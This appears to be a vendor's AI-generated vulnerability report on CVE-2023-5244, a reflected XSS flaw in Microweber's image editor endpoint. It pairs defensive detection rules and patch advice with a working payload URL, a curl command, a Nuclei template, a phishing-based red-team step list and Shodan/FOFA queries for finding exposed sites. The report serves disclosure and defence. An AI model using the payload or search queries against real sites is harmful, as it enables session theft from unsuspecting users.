CVE-2023-5244
Executive Summary
CVE-2023-5244 is a reflected Cross-Site Scripting (XSS) vulnerability in Microweber versions prior to 2.0. The flaw exists in the /editor_tools/rte_image_editor endpoint, where the types GET parameter is not properly sanitized. An unauthenticated attacker can craft a malicious URL that, when visited by a victim, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or other client-side attacks. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Microweber is a PHP-based CMS. This vulnerability is not a supply chain attack on a package manager (e.g., NPM, PyPI, Go, Ruby). The risk is to end-users of the Microweber application who have not applied the patch.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): Required (R) - Victim must click a crafted link.
- Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) - Limited data exposure (e.g., session cookies).
- Integrity (I): Low (L) - Limited ability to modify content.
- Availability (A): None (N) - No impact on availability.
- EPSS Score: 0.28933 (Percentile: 0.96584) - Low probability of exploitation in the wild, but PoC exists.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to client-side attacks.
Deep Dive & Mechanics
The vulnerability is a reflected XSS in the types GET parameter of the /editor_tools/rte_image_editor endpoint. The application does not properly sanitize or encode user input before reflecting it in the HTML response. An attacker can inject arbitrary JavaScript by crafting a malicious URL.
Attack Flow:
- Attacker crafts a URL like:
http://target.com/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27 - Attacker sends this URL to a victim (e.g., via phishing email).
- Victim clicks the link and the browser sends a GET request to the vulnerable endpoint.
- The server reflects the malicious payload in the response without sanitization.
- The victim's browser executes the injected JavaScript (e.g.,
alert(document.domain)). - The attacker can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2.0):
The types parameter is directly echoed into the HTML response without encoding. Example (conceptual):
$types = $_GET['types'];
echo "<script>var types = '$types';</script>";
Patched Code (Commit 1cb846f): The input is sanitized or encoded before reflection. Example (conceptual):
$types = htmlspecialchars($_GET['types'], ENT_QUOTES, 'UTF-8');
echo "<script>var types = '$types';</script>";
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Microweber instance (version < 2.0).
- A web browser or tool like
curl.
Exploit Steps:
- Identify a target running Microweber < 2.0.
- Craft the malicious URL:
http://target.com/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27 - Send the URL to a victim (e.g., via email or social engineering).
- When the victim clicks the link, the JavaScript executes in their browser.
Example using curl (for testing):
curl -v "http://target.com/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27"
Expected Output: The response will contain the injected JavaScript, and if opened in a browser, an alert box with the domain will appear.
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/editor_tools/rte_image_editorwith suspicioustypesparameters containing script tags or encoded payloads. - Use WAF rules to block requests with XSS patterns in the
typesparameter.
Hunting:
- Search for URLs containing
editor_tools/rte_image_editor?types=in proxy logs. - Look for encoded characters like
%27,%3C,%3E, oralert(in thetypesparameter.
Lab Setup:
- Deploy a vulnerable Microweber instance (e.g., using Docker) in an isolated environment.
- Use a tool like Burp Suite to intercept and modify requests.
- Test the exploit and verify detection rules.
Indicators of Compromise (IOCs)
- URL Pattern:
/editor_tools/rte_image_editor?types=...with encoded JavaScript payloads. - HTTP Request:
GET /editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27 HTTP/1.1 Host: target.com - Response Body: Contains the reflected payload, e.g.,
alert(document.domain). - Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (if the payload exfiltrates data).
Detection Engineering
YARA Rule
rule CVE_2023_5244_Microweber_XSS {
meta:
description = "Detects reflected XSS attempts against Microweber CVE-2023-5244"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-5244"
strings:
$xss_payload = /editor_tools\/rte_image_editor\?types=.*alert\(/
condition:
$xss_payload
}
Sigma Rule
title: Microweber Reflected XSS Attempt (CVE-2023-5244)
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with XSS payloads
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains: '/editor_tools/rte_image_editor?types='
cs-uri-query|contains: 'alert('
condition: selection
falsepositives:
- Legitimate use of the word 'alert' in a non-malicious context (unlikely)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-5244 Microweber Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/editor_tools/rte_image_editor"; http_uri; content:"types="; http_uri; pcre:"/alert\(/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2023-5244
info:
name: Microweber < V.2.0 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Reflected Cross-Site Scripting Vulnerability in types GET parameter on the /editor_tools/rte_image_editor endpoint.
impact: |
Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the types parameter, potentially stealing user session cookies or performing actions on behalf of users.
remediation: |
Update Microweber to version 2.0 or later.
reference:
- https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470/
- https://vuldb.com/?id.240778
- https://nvd.nist.gov/vuln/detail/CVE-2023-5244
- https://github.com/microweber/microweber/commit/1cb846f8f54ff6f5c668f3ae64dd81740a7e8968
- https://huntr.dev/bounties/a3bd58ba-ca59-4cba-85d1-799f73a76470
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-5244
cwe-id: CWE-79
epss-score: 0.28933
epss-percentile: 0.96584
cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: microweber
product: microweber
shodan-query:
- http.favicon.hash:780351152
- http.html:"microweber"
fofa-query:
- body="microweber"
- icon_hash=780351152
tags: cve,cve2023,huntr,xss,microweber,vuln
http:
- method: GET
path:
- "{{BaseURL}}/editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "alert(document.domain)", "microweber")'
condition: and
Remediation & Mitigation
Immediate Actions:
- Patch: Update Microweber to version 2.0 or later. The fix is included in commit
1cb846f8f54ff6f5c668f3ae64dd81740a7e8968. - WAF Rules: Deploy Web Application Firewall (WAF) rules to block requests containing XSS patterns in the
typesparameter. - Input Validation: Implement server-side input validation and output encoding for all user-supplied data.
Long-Term Measures:
- Conduct regular security audits and penetration testing.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Educate users about phishing attacks that exploit reflected XSS.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).
{/* [Security Hash: 0845C95B07005361B65EEB8F] */}
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.